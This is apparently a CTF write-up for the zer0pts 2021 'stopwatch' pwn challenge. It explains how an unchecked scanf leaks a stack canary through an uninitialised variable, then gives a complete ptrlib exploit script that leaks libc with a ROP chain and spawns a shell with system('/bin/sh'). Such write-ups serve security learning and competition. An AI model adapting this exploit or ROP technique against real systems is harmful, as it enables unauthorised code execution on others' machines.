Try   HackMD

stopwatch - zer0pts CTF 2021

tags: zer0pts CTF 2021 pwn

Challenge Overview

An x64 ELF and its source code are provided.
The vulnerability is obviously stack overflow in multiple places:

int ask_again(void) {
  char buf[0x10];
  printf("Play again? (Y/n) ");
  scanf("%s", buf);
  readuntil('\n');
  if (buf[0] == 'n' || buf[0] == 'N')
    return 0;
  else
    return 1;
}
...
void ask_name(void) {
  char _name[0x80];
  printf("What is your name?\n> ");
  scanf("%s", _name);
  strcpy(name, _name);
}

However, SSP is enabled.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   80 Symbols     Yes      0               4       chall

Solution

We have to leak the stack canary somehow.
Let's focus on the following piece of code.

void ask_time(double *t) {
  printf("Time[sec]: ");
  scanf("%lf", t); // [2]
  readuntil('\n');
}

double play_game(void) {
  struct timeval start, end;
  double delta, goal, diff; // [1]

  ask_time(&goal);
  printf("Stop the timer as close to %lf seconds as possible!\n", goal);

The variable goal is not initialized at [1] but the input is given at [2]. However, the program doesn't check the return value of scanf. If we feed an invalid input, scanf does not update the value of goal.
So, if the canary leftover happens to come to the address of goal, we can leak the stack canary.
After that is simple: just abuse the stack overflow to get the shell.

Exploit

from ptrlib import * libc = ELF("../distfiles/libc.so.6") elf = ELF("../distfiles/chall") rop_ret = 0x00400e94 rop_pop_rdi = 0x00400e93 with Socket("pwn.ctf.zer0pts.com", 9002) as sock: sock.sendlineafter("> ", "taro") sock.sendlineafter("> ", "16") # leak canary sock.sendlineafter(": ", "+") r = sock.recvregex("to (\-*\d+\.\d+) seconds") sock.send("\n\n") if float(r[0]) == 0.0: logger.warn("Bad luck!") exit(1) canary = u64(p64(float(r[0]))) logger.info("canary = " + hex(canary)) # leak libc payload = b'A' * 0x18 payload += p64(canary) payload += p64(0xdeadbeef) payload += p64(rop_pop_rdi) payload += p64(0x601ff0) payload += p64(elf.plt("puts")) payload += p64(elf.symbol("_start")) assert b'\n' not in payload assert b' ' not in payload sock.sendlineafter("(Y/n) ", payload) libc_base = u64(sock.recvline()) - libc.symbol("__libc_start_main") logger.info("libc = " + hex(libc_base)) # get the shell payload = b'A' * 0x88 payload += p64(canary) payload += p64(0xdeadbeef) payload += p64(rop_ret) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find('/bin/sh'))) payload += p64(libc_base + libc.symbol('system')) sock.sendlineafter("> ", payload) sock.interactive()